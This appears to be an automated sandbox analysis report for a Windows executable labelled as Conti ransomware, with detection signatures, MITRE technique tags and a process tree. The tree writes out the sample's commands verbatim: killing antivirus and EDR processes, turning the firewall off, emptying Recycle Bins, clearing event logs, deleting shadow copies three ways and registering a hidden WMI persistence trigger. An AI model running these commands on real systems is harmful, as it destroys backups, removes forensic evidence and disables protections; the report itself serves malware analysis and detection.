Analysis

  • max time kernel
    148s
  • max time network
    137s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 01:54

General

  • Target
    2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe
  • Size 253KB
  • Sample260729-cbt27ade59
  • SHA256 04f70de1d4ece9350699dc7aa67c9c6e337ef1ff40e8ea4683c4d05c74b822bd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Custom signature
    Detects command variations typically used by ransomware 1 IoCs
  • Custom signature
    Detects executables containing commands for clearing Windows Event Logs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell command to delete shadowcopy.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 56 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 22 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-28_0355efe8cca3612c7459f6b4aa4a6158_conti.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1492
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im csfalcon.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im csfalcon.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:700
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im sensor.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3680
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im sensor.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2220
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im edr.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2540
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im edr.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2428
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im sentinel.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5300
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im sentinel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4856
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im crowdstrike.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5912
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im crowdstrike.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6024
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im mfe.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2068
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im mfe.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:296
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im avp.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:252
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im avp.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4716
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im mcshield.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3188
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im mcshield.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5756
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im egui.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4372
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im egui.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2632
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im eset.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im eset.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5420
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im sophos.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3540
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im sophos.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4224
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im symantec.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2224
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im symantec.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1288
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im trend.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:624
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im trend.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2696
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im avast.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5864
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im avast.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4708
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im avg.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6016
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im avg.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5200
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im zonealarm.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3916
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im zonealarm.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4404
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im norton.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5424
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im norton.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1484
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im kaspersky.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5048
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im kaspersky.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4964
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im bitdefender.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1420
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im bitdefender.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4788
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im clamav.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1844
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im clamav.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5016
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im winlogbeat.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3936
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im winlogbeat.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4316
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im sysmon.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3504
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im sysmon.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2624
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1128
      • C:\Windows\system32\netsh.exe
        netsh advfirewall set allprofiles state off
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        PID:5092
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q C:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:572
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q D:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:2828
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q E:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:4808
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q F:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:4292
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q G:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:1204
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q H:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:4600
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q I:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:1384
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q J:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:4164
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q K:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:1084
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q L:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:3528
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q M:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:4408
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q N:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:5604
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q O:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:2764
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q P:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:1216
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q Q:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:2552
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q R:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:3232
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q S:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:4596
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q T:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:3600
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q U:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:6096
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q V:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:2976
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q W:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:5796
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q X:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:6136
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q Y:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:2084
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q Z:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:2716
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q
      2⤵
      • Executes a command shell one-liner
      PID:1272
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rd /s /q ΓΈ:\$Recycle.bin
      2⤵
      • Executes a command shell one-liner
      PID:1248
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c del /f /q %windir%\system32\winevt\logs\*.evtx
      2⤵
        PID:4508
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wevtutil cl Application
        2⤵
        • Executes a command shell one-liner
        PID:4632
        • C:\Windows\system32\wevtutil.exe
          wevtutil cl Application
          3⤵
          • Clears Windows event logs
          • Suspicious use of AdjustPrivilegeToken
          PID:5340
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wevtutil cl Security
        2⤵
        • Executes a command shell one-liner
        PID:3656
        • C:\Windows\system32\wevtutil.exe
          wevtutil cl Security
          3⤵
          • Clears Windows event logs
          • Suspicious use of AdjustPrivilegeToken
          PID:2036
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wevtutil cl System
        2⤵
        • Executes a command shell one-liner
        PID:2032
        • C:\Windows\system32\wevtutil.exe
          wevtutil cl System
          3⤵
          • Clears Windows event logs
          • Suspicious use of AdjustPrivilegeToken
          PID:3568
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        2⤵
        • Executes a command shell one-liner
        PID:4124
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5788
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wmic shadowcopy delete
        2⤵
        • Executes a command shell one-liner
        PID:2724
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4560
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -Command "Get-WmiObject Win32_ShadowCopy | Remove-WmiObject"
        2⤵
        • Executes a command shell one-liner
        PID:5068
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-WmiObject Win32_ShadowCopy | Remove-WmiObject"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2080
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -Command "Register-WmiEvent -Query 'SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"' -Action { Start-Process 'C:\\Windows\\Temp\\janqi.exe' -WindowStyle Hidden } -SourceIdentifier JanqiTrigger"
        2⤵
        • Executes a command shell one-liner
        PID:5576
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Register-WmiEvent -Query 'SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"' -Action { Start-Process 'C:\\Windows\\Temp\\janqi.exe' -WindowStyle Hidden } -SourceIdentifier JanqiTrigger"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4356
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3304
    • C:\Windows\system32\wbem\unsecapp.exe
      C:\Windows\system32\wbem\unsecapp.exe -Embedding
      1⤵
        PID:2372
      • C:\Windows\system32\wbem\WmiApSrv.exe
        C:\Windows\system32\wbem\WmiApSrv.exe
        1⤵
          PID:5244
        • C:\Windows\system32\wbem\WmiApSrv.exe
          C:\Windows\system32\wbem\WmiApSrv.exe
          1⤵
            PID:4968
          • C:\Windows\system32\wbem\WmiApSrv.exe
            C:\Windows\system32\wbem\WmiApSrv.exe
            1⤵
              PID:2792

            Network

                  MITRE ATT&CK Enterprise v16

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                  Downloads

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
                  • MD5 SHA1 SHA512 TLSH

                  memory/1492-7-0x00007FF684710000-0x00007FF684757000-memory.dmp

                  memory/2080-2-0x000002A818D30000-0x000002A818D52000-memory.dmp